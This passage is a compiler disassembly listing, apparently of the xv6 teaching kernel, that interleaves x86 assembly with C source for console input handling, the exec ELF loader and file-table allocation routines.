00 00 lea 0x0(%esi,%eiz,1),%esi acquire(&cons.lock); 801007e8: 83 ec 0c sub $0xc,%esp 801007eb: 68 20 a5 10 80 push $0x8010a520 801007f0: e8 1b 3c 00 00 call 80104410 <acquire> 801007f5: 83 c4 10 add $0x10,%esp 801007f8: e9 7c fe ff ff jmp 80100679 <cprintf+0x19> panic("null fmt"); 801007fd: 83 ec 0c sub $0xc,%esp 80100800: 68 3f 70 10 80 push $0x8010703f 80100805: e8 86 fb ff ff call 80100390 <panic> 8010080a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100810 <consoleintr>: { 80100810: 55 push %ebp 80100811: 89 e5 mov %esp,%ebp 80100813: 57 push %edi 80100814: 56 push %esi 80100815: 53 push %ebx int c, doprocdump = 0; 80100816: 31 f6 xor %esi,%esi { 80100818: 83 ec 18 sub $0x18,%esp 8010081b: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&cons.lock); 8010081e: 68 20 a5 10 80 push $0x8010a520 80100823: e8 e8 3b 00 00 call 80104410 <acquire> while((c = getc()) >= 0){ 80100828: 83 c4 10 add $0x10,%esp 8010082b: 90 nop 8010082c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100830: ff d3 call *%ebx 80100832: 85 c0 test %eax,%eax 80100834: 89 c7 mov %eax,%edi 80100836: 78 48 js 80100880 <consoleintr+0x70> switch(c){ 80100838: 83 ff 10 cmp $0x10,%edi 8010083b: 0f 84 e7 00 00 00 je 80100928 <consoleintr+0x118> 80100841: 7e 5d jle 801008a0 <consoleintr+0x90> 80100843: 83 ff 15 cmp $0x15,%edi 80100846: 0f 84 ec 00 00 00 je 80100938 <consoleintr+0x128> 8010084c: 83 ff 7f cmp $0x7f,%edi 8010084f: 75 54 jne 801008a5 <consoleintr+0x95> if(input.e != input.w){ 80100851: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 80100856: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 8010085c: 74 d2 je 80100830 <consoleintr+0x20> input.e--; 8010085e: 83 e8 01 sub $0x1,%eax 80100861: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 80100866: b8 00 01 00 00 mov $0x100,%eax 8010086b: e8 a0 fb ff ff call 80100410 <consputc> while((c = getc()) >= 0){ 80100870: ff d3 call *%ebx 80100872: 85 c0 test %eax,%eax 80100874: 89 c7 mov %eax,%edi 80100876: 79 c0 jns 80100838 <consoleintr+0x28> 80100878: 90 nop 80100879: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi release(&cons.lock); 80100880: 83 ec 0c sub $0xc,%esp 80100883: 68 20 a5 10 80 push $0x8010a520 80100888: e8 43 3c 00 00 call 801044d0 <release> if(doprocdump) { 8010088d: 83 c4 10 add $0x10,%esp 80100890: 85 f6 test %esi,%esi 80100892: 0f 85 f8 00 00 00 jne 80100990 <consoleintr+0x180> } 80100898: 8d 65 f4 lea -0xc(%ebp),%esp 8010089b: 5b pop %ebx 8010089c: 5e pop %esi 8010089d: 5f pop %edi 8010089e: 5d pop %ebp 8010089f: c3 ret switch(c){ 801008a0: 83 ff 08 cmp $0x8,%edi 801008a3: 74 ac je 80100851 <consoleintr+0x41> if(c != 0 && input.e-input.r < INPUT_BUF){ 801008a5: 85 ff test %edi,%edi 801008a7: 74 87 je 80100830 <consoleintr+0x20> 801008a9: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801008ae: 89 c2 mov %eax,%edx 801008b0: 2b 15 a0 ff 10 80 sub 0x8010ffa0,%edx 801008b6: 83 fa 7f cmp $0x7f,%edx 801008b9: 0f 87 71 ff ff ff ja 80100830 <consoleintr+0x20> 801008bf: 8d 50 01 lea 0x1(%eax),%edx 801008c2: 83 e0 7f and $0x7f,%eax c = (c == '\r') ? '\n' : c; 801008c5: 83 ff 0d cmp $0xd,%edi input.buf[input.e++ % INPUT_BUF] = c; 801008c8: 89 15 a8 ff 10 80 mov %edx,0x8010ffa8 c = (c == '\r') ? '\n' : c; 801008ce: 0f 84 cc 00 00 00 je 801009a0 <consoleintr+0x190> input.buf[input.e++ % INPUT_BUF] = c; 801008d4: 89 f9 mov %edi,%ecx 801008d6: 88 88 20 ff 10 80 mov %cl,-0x7fef00e0(%eax) consputc(c); 801008dc: 89 f8 mov %edi,%eax 801008de: e8 2d fb ff ff call 80100410 <consputc> if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ 801008e3: 83 ff 0a cmp $0xa,%edi 801008e6: 0f 84 c5 00 00 00 je 801009b1 <consoleintr+0x1a1> 801008ec: 83 ff 04 cmp $0x4,%edi 801008ef: 0f 84 bc 00 00 00 je 801009b1 <consoleintr+0x1a1> 801008f5: a1 a0 ff 10 80 mov 0x8010ffa0,%eax 801008fa: 83 e8 80 sub $0xffffff80,%eax 801008fd: 39 05 a8 ff 10 80 cmp %eax,0x8010ffa8 80100903: 0f 85 27 ff ff ff jne 80100830 <consoleintr+0x20> wakeup(&input.r); 80100909: 83 ec 0c sub $0xc,%esp input.w = input.e; 8010090c: a3 a4 ff 10 80 mov %eax,0x8010ffa4 wakeup(&input.r); 80100911: 68 a0 ff 10 80 push $0x8010ffa0 80100916: e8 15 36 00 00 call 80103f30 <wakeup> 8010091b: 83 c4 10 add $0x10,%esp 8010091e: e9 0d ff ff ff jmp 80100830 <consoleintr+0x20> 80100923: 90 nop 80100924: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi doprocdump = 1; 80100928: be 01 00 00 00 mov $0x1,%esi 8010092d: e9 fe fe ff ff jmp 80100830 <consoleintr+0x20> 80100932: 8d b6 00 00 00 00 lea 0x0(%esi),%esi while(input.e != input.w && 80100938: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 8010093d: 39 05 a4 ff 10 80 cmp %eax,0x8010ffa4 80100943: 75 2b jne 80100970 <consoleintr+0x160> 80100945: e9 e6 fe ff ff jmp 80100830 <consoleintr+0x20> 8010094a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi input.e--; 80100950: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 80100955: b8 00 01 00 00 mov $0x100,%eax 8010095a: e8 b1 fa ff ff call 80100410 <consputc> while(input.e != input.w && 8010095f: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 80100964: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 8010096a: 0f 84 c0 fe ff ff je 80100830 <consoleintr+0x20> input.buf[(input.e-1) % INPUT_BUF] != '\n'){ 80100970: 83 e8 01 sub $0x1,%eax 80100973: 89 c2 mov %eax,%edx 80100975: 83 e2 7f and $0x7f,%edx while(input.e != input.w && 80100978: 80 ba 20 ff 10 80 0a cmpb $0xa,-0x7fef00e0(%edx) 8010097f: 75 cf jne 80100950 <consoleintr+0x140> 80100981: e9 aa fe ff ff jmp 80100830 <consoleintr+0x20> 80100986: 8d 76 00 lea 0x0(%esi),%esi 80100989: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi } 80100990: 8d 65 f4 lea -0xc(%ebp),%esp 80100993: 5b pop %ebx 80100994: 5e pop %esi 80100995: 5f pop %edi 80100996: 5d pop %ebp procdump(); // now call procdump() wo. cons.lock held 80100997: e9 74 36 00 00 jmp 80104010 <procdump> 8010099c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi input.buf[input.e++ % INPUT_BUF] = c; 801009a0: c6 80 20 ff 10 80 0a movb $0xa,-0x7fef00e0(%eax) consputc(c); 801009a7: b8 0a 00 00 00 mov $0xa,%eax 801009ac: e8 5f fa ff ff call 80100410 <consputc> 801009b1: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801009b6: e9 4e ff ff ff jmp 80100909 <consoleintr+0xf9> 801009bb: 90 nop 801009bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801009c0 <consoleinit>: void consoleinit(void) { 801009c0: 55 push %ebp 801009c1: 89 e5 mov %esp,%ebp 801009c3: 83 ec 10 sub $0x10,%esp initlock(&cons.lock, "console"); 801009c6: 68 48 70 10 80 push $0x80107048 801009cb: 68 20 a5 10 80 push $0x8010a520 801009d0: e8 fb 38 00 00 call 801042d0 <initlock> devsw[CONSOLE].write = consolewrite; devsw[CONSOLE].read = consoleread; cons.locking = 1; ioapicenable(IRQ_KBD, 0); 801009d5: 58 pop %eax 801009d6: 5a pop %edx 801009d7: 6a 00 push $0x0 801009d9: 6a 01 push $0x1 devsw[CONSOLE].write = consolewrite; 801009db: c7 05 6c 09 11 80 00 movl $0x80100600,0x8011096c 801009e2: 06 10 80 devsw[CONSOLE].read = consoleread; 801009e5: c7 05 68 09 11 80 70 movl $0x80100270,0x80110968 801009ec: 02 10 80 cons.locking = 1; 801009ef: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554 801009f6: 00 00 00 ioapicenable(IRQ_KBD, 0); 801009f9: e8 d2 18 00 00 call 801022d0 <ioapicenable> } 801009fe: 83 c4 10 add $0x10,%esp 80100a01: c9 leave 80100a02: c3 ret 80100a03: 66 90 xchg %ax,%ax 80100a05: 66 90 xchg %ax,%ax 80100a07: 66 90 xchg %ax,%ax 80100a09: 66 90 xchg %ax,%ax 80100a0b: 66 90 xchg %ax,%ax 80100a0d: 66 90 xchg %ax,%ax 80100a0f: 90 nop 80100a10 <exec>: #include "x86.h" #include "elf.h" int exec(char *path, char **argv) { 80100a10: 55 push %ebp 80100a11: 89 e5 mov %esp,%ebp 80100a13: 57 push %edi 80100a14: 56 push %esi 80100a15: 53 push %ebx 80100a16: 81 ec 0c 01 00 00 sub $0x10c,%esp uint argc, sz, sp, ustack[3+MAXARG+1]; struct elfhdr elf; struct inode *ip; struct proghdr ph; pde_t *pgdir, *oldpgdir; struct proc *curproc = myproc(); 80100a1c: e8 bf 2d 00 00 call 801037e0 <myproc> 80100a21: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp) begin_op(); 80100a27: e8 74 21 00 00 call 80102ba0 <begin_op> if((ip = namei(path)) == 0){ 80100a2c: 83 ec 0c sub $0xc,%esp 80100a2f: ff 75 08 pushl 0x8(%ebp) 80100a32: e8 a9 14 00 00 call 80101ee0 <namei> 80100a37: 83 c4 10 add $0x10,%esp 80100a3a: 85 c0 test %eax,%eax 80100a3c: 0f 84 91 01 00 00 je 80100bd3 <exec+0x1c3> end_op(); cprintf("exec: fail\n"); return -1; } ilock(ip); 80100a42: 83 ec 0c sub $0xc,%esp 80100a45: 89 c3 mov %eax,%ebx 80100a47: 50 push %eax 80100a48: e8 33 0c 00 00 call 80101680 <ilock> pgdir = 0; // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf)) 80100a4d: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax 80100a53: 6a 34 push $0x34 80100a55: 6a 00 push $0x0 80100a57: 50 push %eax 80100a58: 53 push %ebx 80100a59: e8 02 0f 00 00 call 80101960 <readi> 80100a5e: 83 c4 20 add $0x20,%esp 80100a61: 83 f8 34 cmp $0x34,%eax 80100a64: 74 22 je 80100a88 <exec+0x78> bad: if(pgdir) freevm(pgdir); if(ip){ iunlockput(ip); 80100a66: 83 ec 0c sub $0xc,%esp 80100a69: 53 push %ebx 80100a6a: e8 a1 0e 00 00 call 80101910 <iunlockput> end_op(); 80100a6f: e8 9c 21 00 00 call 80102c10 <end_op> 80100a74: 83 c4 10 add $0x10,%esp } return -1; 80100a77: b8 ff ff ff ff mov $0xffffffff,%eax } 80100a7c: 8d 65 f4 lea -0xc(%ebp),%esp 80100a7f: 5b pop %ebx 80100a80: 5e pop %esi 80100a81: 5f pop %edi 80100a82: 5d pop %ebp 80100a83: c3 ret 80100a84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(elf.magic != ELF_MAGIC) 80100a88: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp) 80100a8f: 45 4c 46 80100a92: 75 d2 jne 80100a66 <exec+0x56> if((pgdir = setupkvm()) == 0) 80100a94: e8 97 62 00 00 call 80106d30 <setupkvm> 80100a99: 85 c0 test %eax,%eax 80100a9b: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp) 80100aa1: 74 c3 je 80100a66 <exec+0x56> sz = 0; 80100aa3: 31 ff xor %edi,%edi for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100aa5: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp) 80100aac: 00 80100aad: 8b 85 40 ff ff ff mov -0xc0(%ebp),%eax 80100ab3: 89 85 ec fe ff ff mov %eax,-0x114(%ebp) 80100ab9: 0f 84 8c 02 00 00 je 80100d4b <exec+0x33b> 80100abf: 31 f6 xor %esi,%esi 80100ac1: eb 7f jmp 80100b42 <exec+0x132> 80100ac3: 90 nop 80100ac4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(ph.type != ELF_PROG_LOAD) 80100ac8: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp) 80100acf: 75 63 jne 80100b34 <exec+0x124> if(ph.memsz < ph.filesz) 80100ad1: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax 80100ad7: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax 80100add: 0f 82 86 00 00 00 jb 80100b69 <exec+0x159> 80100ae3: 03 85 0c ff ff ff add -0xf4(%ebp),%eax 80100ae9: 72 7e jb 80100b69 <exec+0x159> if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) 80100aeb: 83 ec 04 sub $0x4,%esp 80100aee: 50 push %eax 80100aef: 57 push %edi 80100af0: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100af6: e8 55 60 00 00 call 80106b50 <allocuvm> 80100afb: 83 c4 10 add $0x10,%esp 80100afe: 85 c0 test %eax,%eax 80100b00: 89 c7 mov %eax,%edi 80100b02: 74 65 je 80100b69 <exec+0x159> if(ph.vaddr % PGSIZE != 0) 80100b04: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax 80100b0a: a9 ff 0f 00 00 test $0xfff,%eax 80100b0f: 75 58 jne 80100b69 <exec+0x159> if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) 80100b11: 83 ec 0c sub $0xc,%esp 80100b14: ff b5 14 ff ff ff pushl -0xec(%ebp) 80100b1a: ff b5 08 ff ff ff pushl -0xf8(%ebp) 80100b20: 53 push %ebx 80100b21: 50 push %eax 80100b22: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100b28: e8 63 5f 00 00 call 80106a90 <loaduvm> 80100b2d: 83 c4 20 add $0x20,%esp 80100b30: 85 c0 test %eax,%eax 80100b32: 78 35 js 80100b69 <exec+0x159> for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100b34: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax 80100b3b: 83 c6 01 add $0x1,%esi 80100b3e: 39 f0 cmp %esi,%eax 80100b40: 7e 3d jle 80100b7f <exec+0x16f> if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) 80100b42: 89 f0 mov %esi,%eax 80100b44: 6a 20 push $0x20 80100b46: c1 e0 05 shl $0x5,%eax 80100b49: 03 85 ec fe ff ff add -0x114(%ebp),%eax 80100b4f: 50 push %eax 80100b50: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax 80100b56: 50 push %eax 80100b57: 53 push %ebx 80100b58: e8 03 0e 00 00 call 80101960 <readi> 80100b5d: 83 c4 10 add $0x10,%esp 80100b60: 83 f8 20 cmp $0x20,%eax 80100b63: 0f 84 5f ff ff ff je 80100ac8 <exec+0xb8> freevm(pgdir); 80100b69: 83 ec 0c sub $0xc,%esp 80100b6c: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100b72: e8 39 61 00 00 call 80106cb0 <freevm> 80100b77: 83 c4 10 add $0x10,%esp 80100b7a: e9 e7 fe ff ff jmp 80100a66 <exec+0x56> 80100b7f: 81 c7 ff 0f 00 00 add $0xfff,%edi 80100b85: 81 e7 00 f0 ff ff and $0xfffff000,%edi 80100b8b: 8d b7 00 20 00 00 lea 0x2000(%edi),%esi iunlockput(ip); 80100b91: 83 ec 0c sub $0xc,%esp 80100b94: 53 push %ebx 80100b95: e8 76 0d 00 00 call 80101910 <iunlockput> end_op(); 80100b9a: e8 71 20 00 00 call 80102c10 <end_op> if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) 80100b9f: 83 c4 0c add $0xc,%esp 80100ba2: 56 push %esi 80100ba3: 57 push %edi 80100ba4: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100baa: e8 a1 5f 00 00 call 80106b50 <allocuvm> 80100baf: 83 c4 10 add $0x10,%esp 80100bb2: 85 c0 test %eax,%eax 80100bb4: 89 c6 mov %eax,%esi 80100bb6: 75 3a jne 80100bf2 <exec+0x1e2> freevm(pgdir); 80100bb8: 83 ec 0c sub $0xc,%esp 80100bbb: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100bc1: e8 ea 60 00 00 call 80106cb0 <freevm> 80100bc6: 83 c4 10 add $0x10,%esp return -1; 80100bc9: b8 ff ff ff ff mov $0xffffffff,%eax 80100bce: e9 a9 fe ff ff jmp 80100a7c <exec+0x6c> end_op(); 80100bd3: e8 38 20 00 00 call 80102c10 <end_op> cprintf("exec: fail\n"); 80100bd8: 83 ec 0c sub $0xc,%esp 80100bdb: 68 61 70 10 80 push $0x80107061 80100be0: e8 7b fa ff ff call 80100660 <cprintf> return -1; 80100be5: 83 c4 10 add $0x10,%esp 80100be8: b8 ff ff ff ff mov $0xffffffff,%eax 80100bed: e9 8a fe ff ff jmp 80100a7c <exec+0x6c> clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 80100bf2: 8d 80 00 e0 ff ff lea -0x2000(%eax),%eax 80100bf8: 83 ec 08 sub $0x8,%esp for(argc = 0; argv[argc]; argc++) { 80100bfb: 31 ff xor %edi,%edi 80100bfd: 89 f3 mov %esi,%ebx clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 80100bff: 50 push %eax 80100c00: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100c06: e8 c5 61 00 00 call 80106dd0 <clearpteu> for(argc = 0; argv[argc]; argc++) { 80100c0b: 8b 45 0c mov 0xc(%ebp),%eax 80100c0e: 83 c4 10 add $0x10,%esp 80100c11: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx 80100c17: 8b 00 mov (%eax),%eax 80100c19: 85 c0 test %eax,%eax 80100c1b: 74 70 je 80100c8d <exec+0x27d> 80100c1d: 89 b5 ec fe ff ff mov %esi,-0x114(%ebp) 80100c23: 8b b5 f0 fe ff ff mov -0x110(%ebp),%esi 80100c29: eb 0a jmp 80100c35 <exec+0x225> 80100c2b: 90 nop 80100c2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(argc >= MAXARG) 80100c30: 83 ff 20 cmp $0x20,%edi 80100c33: 74 83 je 80100bb8 <exec+0x1a8> sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100c35: 83 ec 0c sub $0xc,%esp 80100c38: 50 push %eax 80100c39: e8 02 3b 00 00 call 80104740 <strlen> 80100c3e: f7 d0 not %eax 80100c40: 01 c3 add %eax,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100c42: 8b 45 0c mov 0xc(%ebp),%eax 80100c45: 5a pop %edx sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100c46: 83 e3 fc and $0xfffffffc,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100c49: ff 34 b8 pushl (%eax,%edi,4) 80100c4c: e8 ef 3a 00 00 call 80104740 <strlen> 80100c51: 83 c0 01 add $0x1,%eax 80100c54: 50 push %eax 80100c55: 8b 45 0c mov 0xc(%ebp),%eax 80100c58: ff 34 b8 pushl (%eax,%edi,4) 80100c5b: 53 push %ebx 80100c5c: 56 push %esi 80100c5d: e8 ce 62 00 00 call 80106f30 <copyout> 80100c62: 83 c4 20 add $0x20,%esp 80100c65: 85 c0 test %eax,%eax 80100c67: 0f 88 4b ff ff ff js 80100bb8 <exec+0x1a8> for(argc = 0; argv[argc]; argc++) { 80100c6d: 8b 45 0c mov 0xc(%ebp),%eax ustack[3+argc] = sp; 80100c70: 89 9c bd 64 ff ff ff mov %ebx,-0x9c(%ebp,%edi,4) for(argc = 0; argv[argc]; argc++) { 80100c77: 83 c7 01 add $0x1,%edi ustack[3+argc] = sp; 80100c7a: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx for(argc = 0; argv[argc]; argc++) { 80100c80: 8b 04 b8 mov (%eax,%edi,4),%eax 80100c83: 85 c0 test %eax,%eax 80100c85: 75 a9 jne 80100c30 <exec+0x220> 80100c87: 8b b5 ec fe ff ff mov -0x114(%ebp),%esi ustack[2] = sp - (argc+1)*4; // argv pointer 80100c8d: 8d 04 bd 04 00 00 00 lea 0x4(,%edi,4),%eax 80100c94: 89 d9 mov %ebx,%ecx ustack[3+argc] = 0; 80100c96: c7 84 bd 64 ff ff ff movl $0x0,-0x9c(%ebp,%edi,4) 80100c9d: 00 00 00 00 ustack[0] = 0xffffffff; // fake return PC 80100ca1: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp) 80100ca8: ff ff ff ustack[1] = argc; 80100cab: 89 bd 5c ff ff ff mov %edi,-0xa4(%ebp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100cb1: 29 c1 sub %eax,%ecx sp -= (3+argc+1) * 4; 80100cb3: 83 c0 0c add $0xc,%eax 80100cb6: 29 c3 sub %eax,%ebx if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100cb8: 50 push %eax 80100cb9: 52 push %edx 80100cba: 53 push %ebx 80100cbb: ff b5 f0 fe ff ff pushl -0x110(%ebp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100cc1: 89 8d 60 ff ff ff mov %ecx,-0xa0(%ebp) if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100cc7: e8 64 62 00 00 call 80106f30 <copyout> 80100ccc: 83 c4 10 add $0x10,%esp 80100ccf: 85 c0 test %eax,%eax 80100cd1: 0f 88 e1 fe ff ff js 80100bb8 <exec+0x1a8> for(last=s=path; *s; s++) 80100cd7: 8b 45 08 mov 0x8(%ebp),%eax 80100cda: 0f b6 00 movzbl (%eax),%eax 80100cdd: 84 c0 test %al,%al 80100cdf: 74 17 je 80100cf8 <exec+0x2e8> 80100ce1: 8b 55 08 mov 0x8(%ebp),%edx 80100ce4: 89 d1 mov %edx,%ecx 80100ce6: 83 c1 01 add $0x1,%ecx 80100ce9: 3c 2f cmp $0x2f,%al 80100ceb: 0f b6 01 movzbl (%ecx),%eax 80100cee: 0f 44 d1 cmove %ecx,%edx 80100cf1: 84 c0 test %al,%al 80100cf3: 75 f1 jne 80100ce6 <exec+0x2d6> 80100cf5: 89 55 08 mov %edx,0x8(%ebp) safestrcpy(curproc->name, last, sizeof(curproc->name)); 80100cf8: 8b bd f4 fe ff ff mov -0x10c(%ebp),%edi 80100cfe: 50 push %eax 80100cff: 6a 10 push $0x10 80100d01: ff 75 08 pushl 0x8(%ebp) 80100d04: 89 f8 mov %edi,%eax 80100d06: 83 c0 6c add $0x6c,%eax 80100d09: 50 push %eax 80100d0a: e8 f1 39 00 00 call 80104700 <safestrcpy> curproc->pgdir = pgdir; 80100d0f: 8b 95 f0 fe ff ff mov -0x110(%ebp),%edx oldpgdir = curproc->pgdir; 80100d15: 89 f9 mov %edi,%ecx 80100d17: 8b 7f 04 mov 0x4(%edi),%edi curproc->tf->eip = elf.entry; // main 80100d1a: 8b 41 18 mov 0x18(%ecx),%eax curproc->sz = sz; 80100d1d: 89 31 mov %esi,(%ecx) curproc->pgdir = pgdir; 80100d1f: 89 51 04 mov %edx,0x4(%ecx) curproc->tf->eip = elf.entry; // main 80100d22: 8b 95 3c ff ff ff mov -0xc4(%ebp),%edx 80100d28: 89 50 38 mov %edx,0x38(%eax) curproc->tf->esp = sp; 80100d2b: 8b 41 18 mov 0x18(%ecx),%eax 80100d2e: 89 58 44 mov %ebx,0x44(%eax) switchuvm(curproc); 80100d31: 89 0c 24 mov %ecx,(%esp) 80100d34: e8 c7 5b 00 00 call 80106900 <switchuvm> freevm(oldpgdir); 80100d39: 89 3c 24 mov %edi,(%esp) 80100d3c: e8 6f 5f 00 00 call 80106cb0 <freevm> return 0; 80100d41: 83 c4 10 add $0x10,%esp 80100d44: 31 c0 xor %eax,%eax 80100d46: e9 31 fd ff ff jmp 80100a7c <exec+0x6c> for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100d4b: be 00 20 00 00 mov $0x2000,%esi 80100d50: e9 3c fe ff ff jmp 80100b91 <exec+0x181> 80100d55: 66 90 xchg %ax,%ax 80100d57: 66 90 xchg %ax,%ax 80100d59: 66 90 xchg %ax,%ax 80100d5b: 66 90 xchg %ax,%ax 80100d5d: 66 90 xchg %ax,%ax 80100d5f: 90 nop 80100d60 <fileinit>: struct file file[NFILE]; } ftable; void fileinit(void) { 80100d60: 55 push %ebp 80100d61: 89 e5 mov %esp,%ebp 80100d63: 83 ec 10 sub $0x10,%esp initlock(&ftable.lock, "ftable"); 80100d66: 68 6d 70 10 80 push $0x8010706d 80100d6b: 68 c0 ff 10 80 push $0x8010ffc0 80100d70: e8 5b 35 00 00 call 801042d0 <initlock> } 80100d75: 83 c4 10 add $0x10,%esp 80100d78: c9 leave 80100d79: c3 ret 80100d7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100d80 <filealloc>: // Allocate a file structure. struct file* filealloc(void) { 80100d80: 55 push %ebp 80100d81: 89 e5 mov %esp,%ebp 80100d83: 53 push %ebx struct file *f; acquire(&ftable.lock); for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100d84: bb f4 ff 10 80 mov $0x8010fff4,%ebx { 80100d89: 83 ec 10 sub $0x10,%esp acquire(&ftable.lock); 80100d8c: 68 c0 ff 10 80 push $0x8010ffc0 80100d91: e8 7a 36 00 00 call 80104410 <acquire> 80100d96: 83 c4 10 add $0x10,%esp 80100d99: eb 10 jmp 80100dab <filealloc+0x2b> 80100d9b: 90 nop 80100d9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100da0: 83 c3 18 add $0x18,%ebx 80100da3: 81 fb 54 09 11 80 cmp $0x80110954,%ebx 80100da9: 73 25 jae 80100dd0 <filealloc+0x50> if(f->ref == 0){ 80100dab: 8b 43 04 mov 0x4(%ebx),%eax 80100dae: 85 c0 test %eax,%eax 80100db0: 75 ee jne 80100da0 <filealloc+0x20> f->ref = 1; release(&ftable.lock); 80100db2: 83 ec 0c sub $0xc,%esp f->ref = 1; 80100db5: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx) release(&ftable.lock); 80100dbc: 68 c0 ff 10 80 push $0x8010ffc0 80100dc1: e8 0a 37 00 00 call 801044d0 <release> return f; } } release(&ftable.lock); return 0; } 80100dc6: 89 d8 mov %ebx,%eax return f; 80100dc8: 83 c4 10 add $0x10,%esp } 80100dcb: 8b 5d fc mov -0x4(%ebp),%ebx 80100dce: c9 leave 80100dcf: c3 ret release(&ftable.lock); 80100dd0: 83 ec 0c sub $0xc,%esp return 0; 80100dd3: 31 db xor %ebx,%ebx release(&ftable.lock); 80100dd5: 68 c0 ff 10 80 push $0x8010ffc0 80100dda: e8 f1 36 00 00 call 801044d0 <release> } 80100ddf: 89 d8 mov %ebx,%eax return 0; 80100de1: 83 c4 10 add $0x10,%esp } 80100de4: 8b 5d fc mov -0x4(%ebp),%ebx 80100de7: c9 leave 80100de8: c3 ret 80100de9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100df0 <filedup>: // Increment ref count for file f. struct file* filedup(struct file *f) { 80100df0: 55 push %ebp 80100df1: 89 e5 mov %esp,%ebp 80100df3: 53 push %ebx 80100df4: 83 ec 10 sub $0x10,%esp 80100df7: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ftable.lock); 80100dfa: 68 c0 ff 10 80 push $0x8010ffc0 80100dff: e8 0c 36 00 00 call 80104410 <acquire> if(f->ref < 1) 80100e04: 8b 43 04 mov 0x4(%ebx),%eax 80100e07: 83 c4 10 add $0x10,%esp 80100e0a: 85 c0 test %eax,%eax 80100e0c: 7e 1a jle 80100e28 <filedup+0x38> panic("filedup"); f->ref++; 80100e0e: 83 c0 01 add $0x1,%eax release(&ftable.lock); 80100e11: 83 ec 0c sub $0xc,%esp f->ref++; 80100e14: 89 43 04 mov %eax,0x4(%ebx) release(&ftable.lock); 80100e17: 68 c0 ff 10 80 push $0x8010ffc0 80100e1c: e8 af 36 00 00 call 801044d0 <release> return f; } 80100e21: 89 d8 mov %ebx,%eax 80100e23: 8b 5d fc mov -0x4(%ebp),%ebx 80100e26: c9 leave 80100e27: c3 ret panic("filedup"); 80100e28: 83 ec 0c sub $0xc,%esp 80100e2b: 68 74 70 10 80 push $0x80107074 80100e30: e8 5b f5 ff ff call 80100390 <panic> 80100e35: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100e39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100e40 <fileclose>: // Close file f. (Decrement ref count, close when reaches 0.) void fileclose(struct file *f) { 80100e40: 55 push %ebp 80100e41: 89 e5 mov %esp,%ebp 80100e43: 57 push %edi 80100e44: 56 push %esi 80100e45: 53 push %ebx 80100e46: 83 ec 28 sub $0x28,%esp 80100e49: 8b 5d 08 mov 